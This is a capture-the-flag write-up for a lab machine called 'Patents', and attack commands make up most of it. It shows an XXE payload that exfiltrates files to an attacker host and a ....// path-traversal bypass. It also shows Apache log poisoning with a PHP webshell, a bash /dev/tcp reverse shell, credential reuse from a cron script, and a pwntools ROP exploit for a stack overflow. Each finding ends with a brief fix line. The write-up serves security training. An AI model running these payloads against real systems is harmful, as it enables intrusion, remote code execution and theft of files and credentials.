Patents
Summary
The Patents Management application on port 80 accepted .docx uploads for PDF conversion. Its XML parser honoured external entity declarations, enabling out-of-band XXE to exfiltrate server-side files, including a PHP source file that named a separate patent-retrieval endpoint suffering from path traversal. A single-pass ../ strip was defeated with the ....// double-dot bypass, achieving local file inclusion of Apache's access log, which had been poisoned with a PHP webshell via a crafted User-Agent.
That yielded remote code execution as www-data inside a Docker container. A root cron job embedded the plaintext service password <withheld> in a readable script; it was valid to SSH to the underlying host as gbyolo. A git repository accessible from the container retained the lfmserver binary in its history despite an attempted deletion; the binary's URL-decoder copied my input into a fixed 128-byte stack buffer with no bounds check, no canary, and no PIE.
A two-stage ROP chain sent from the container leaked a libc address and then called system("/bin/sh"), yielding a root shell on the real host.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export INTERNAL_HOST="<another-host-reached-after-pivoting>"
export PASSWORD="<the-password-you-recovered>"
export HEX_ID="<a-value-you-captured-earlier>"Some commands also carry a value in angle brackets (<addr>, <foo>, <offset>), which you replace inline with what the step before it turned up.
Attack path: how the box was taken
Exact commands 3
Version and script scan against the three open ports.
$ nmap -sV -sC -p 22,80,8888 $TARGETDiscover hidden paths; key finds: config.php, convert.php, uploads/, release/.
$ gobuster dir -u http://$TARGET/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt -t 40Read the changelog that confirms XXE and reverted LFI patches.
$ curl -s http://$TARGET/release/UpdateDetailsExact commands 6
DTD served by me HTTP server; change the resource= path per file to exfiltrate.
$ printf '<!ENTITY %% file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">\n<!ENTITY %% read "<!ENTITY exfil SYSTEM \x27http://'"$ATTACKER_IP"'/x?%%file;\x27>">\n%%read;' > /tmp/read.dtdXXE payload injected as customXml/item1.xml inside the evil docx.
$ printf '<?xml version="1.0"?>\n<!DOCTYPE foo [<!ENTITY %% xxe SYSTEM "http://'"$ATTACKER_IP"'/read.dtd"> %%xxe; ]>\n<foo>&exfil;</foo>' > /tmp/item1.xmlStart from any valid .docx; replace item1.xml with the XXE payload and rezip.
$ unzip -q /tmp/clean.docx -d /tmp/evil_docx && cp /tmp/item1.xml /tmp/evil_docx/customXml/item1.xml && cd /tmp/evil_docx && zip -r /tmp/evil.docx . && cd /tmpServe read.dtd and log the incoming base64 query strings (run in a separate terminal).
$ python3 -m http.server 80Upload the malicious docx; the server fetches read.dtd and beacons file contents.
$ curl -s -F 'userfile=@/tmp/evil.docx;type=application/vnd.openxmlformats-officedocument.wordprocessingml.document' http://$TARGET/convert.phpDecode each exfiltrated file; repeat with a different resource= value in read.dtd per target.
$ echo '<BASE64_FROM_LISTENER>' | base64 -dFixDisable external XML entity processing in the docx-to-PDF converterCritical
../ sequences. The bypass was ....//: after one pass strips the inner ../, the remaining characters collapse to ../, achieving the intended traversal. Four ....// segments were enough to reach the filesystem root from the webroot. This was confirmed by including /etc/passwd, and the access log was also verified as readable: the precondition for log poisoning.Exact commands 2
Confirm LFI: four ....// segments traverse from the webroot to /.
$ curl -s "http://$TARGET/getPatent_alphav1.0.php?id=....//....//....//....//etc/passwd"Verify the Apache access log is readable: prerequisite for log poisoning.
$ curl -s "http://$TARGET/getPatent_alphav1.0.php?id=....//....//....//....//var/log/apache2/access.log"FixFix the path-traversal vulnerability in the patent-retrieval endpointCritical
../, which was trivially bypassed by ....//. This allowed inclusion of any file readable by the web process.Exact commands 4
Poison the Apache access log with a PHP execution stub via the User-Agent header.
$ curl -s -A '<?php system($_GET["cmd"]); ?>' http://$TARGET/Verify execution: response should contain uid=33(www-data).
$ curl -s "http://$TARGET/getPatent_alphav1.0.php?id=....//....//....//....//var/log/apache2/access.log&cmd=id"Start a reverse-shell listener before triggering the next command.
$ nc -lvnp 4444Trigger a bash reverse shell; adjust IP and port to match your tun0 address and listener.
$ curl -s "http://$TARGET/getPatent_alphav1.0.php?id=....//....//....//....//var/log/apache2/access.log&cmd=bash+-c+%27bash+-i+%3E%26+/dev/tcp/$ATTACKER_IP/4444+0%3E%261%27"FixPrevent PHP execution inside log directories and sanitize logged HTTP headersHigh
Exact commands 4
Serve pspy64 from my HTTP server; watch output for root-owned cron commands.
$ wget -q http://$ATTACKER_IP/pspy64 -O /tmp/pspy64 && chmod +x /tmp/pspy64 && /tmp/pspy64Read the cron script; the plaintext password appears in connection parameters.
$ cat /opt/checker_client/run_file.shSSH to the Docker host as gbyolo; enter <withheld> when prompted.
$ ssh gbyolo@$INTERNAL_HOSTRead the user flag: <user.txt>.
$ cat /home/gbyolo/user.txtFixRemove plaintext credentials from cron scripts and service configuration filesHigh
Exact commands 4
Identify the commit just before 'Removed meow files' and note its hash.
$ cd /usr/src/lfm && git log --onelineRestore the deleted binary; replace <COMMIT_BEFORE_REMOVAL> with the hash from git log.
$ git checkout <COMMIT_BEFORE_REMOVAL> -- lfmserverStage the binary under the webroot for HTTP download.
$ cp /usr/src/lfm/lfmserver /var/www/html/docx2pdf/uploads/lfmserverDownload the binary to the Kali machine for offline analysis.
$ wget http://$TARGET/uploads/lfmserver -O /tmp/lfmserver && chmod +x /tmp/lfmserverFixRemove sensitive binaries from version-control history and restrict repository access from containersMedium
Exact commands 3
Confirm protections: expect NX=ON, Canary=NOT FOUND, PIE=NOT ENABLED.
$ checksec --file=/tmp/lfmserverIdentify gadgets for the libc-leak chain: pop rdi; ret and pop rsi; pop r15; ret.
$ ROPgadget --binary /tmp/lfmserver --rop | grep -E 'pop rdi|pop rsi|pop r15|ret$'Run a local copy of lfmserver and send a cyclic pattern to pinpoint the RIP offset (expect 148).
$ python3 -c "from pwn import *; print(cyclic(200).decode())" | nc -w3 127.0.0.1 8888FixFix the stack buffer overflow in lfmserver and enable standard binary hardeningCritical
Exact commands 3
Run the pwntools script from within the Docker container; skeleton below.
$ python3 /tmp/exploit.pyPwntools scaffold: fill in gadget, PLT, GOT, and libc offsets from ROPgadget and readelf output for the recovered binary and its paired libc.
$ # from pwn import *
# HOST, PORT = "$INTERNAL_HOST", 8888
# OFFSET = 148
# pop_rdi = 0x<addr> # ROPgadget output
# pop_rsi_r15 = 0x<addr>
# write_plt = 0x<addr> # readelf -s lfmserver
# write_got = 0x<addr>
# write_off = 0x<offset> # pwntools libc database or readelf on libc2.28
# system_off = 0x<offset>
# binsh_off = 0x<offset>
# def make_req(rop):
# pad = b'CHECK /convert.php\x00' + b'A'*OFFSET
# req = pad + rop + b' LFM\r\n'
# req += b"User=lfmserver_user\r\nPassword=$PASSWORD\r\n\r\n"
# req += b"$HEX_ID\n"
# return req
# stage1 = p64(pop_rdi)+p64(1)+p64(pop_rsi_r15)+p64(write_got)+p64(0)+p64(write_plt)
# r = remote(HOST, PORT); r.send(make_req(stage1))
# leak = u64(r.recv(8)); libc_base = leak - write_off
# system = libc_base + system_off; binsh = libc_base + binsh_off
# stage2 = p64(pop_rdi)+p64(binsh)+p64(system)
# r2 = remote(HOST, PORT); r2.send(make_req(stage2)); r2.interactive()Read the root flag from the host shell: <root.txt>.
$ cat /root/root.txtExposed services
| 22/tcp | ssh OpenSSH 7.7p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.29 ((Ubuntu)) |
| 8888/tcp | sun-answerbook? |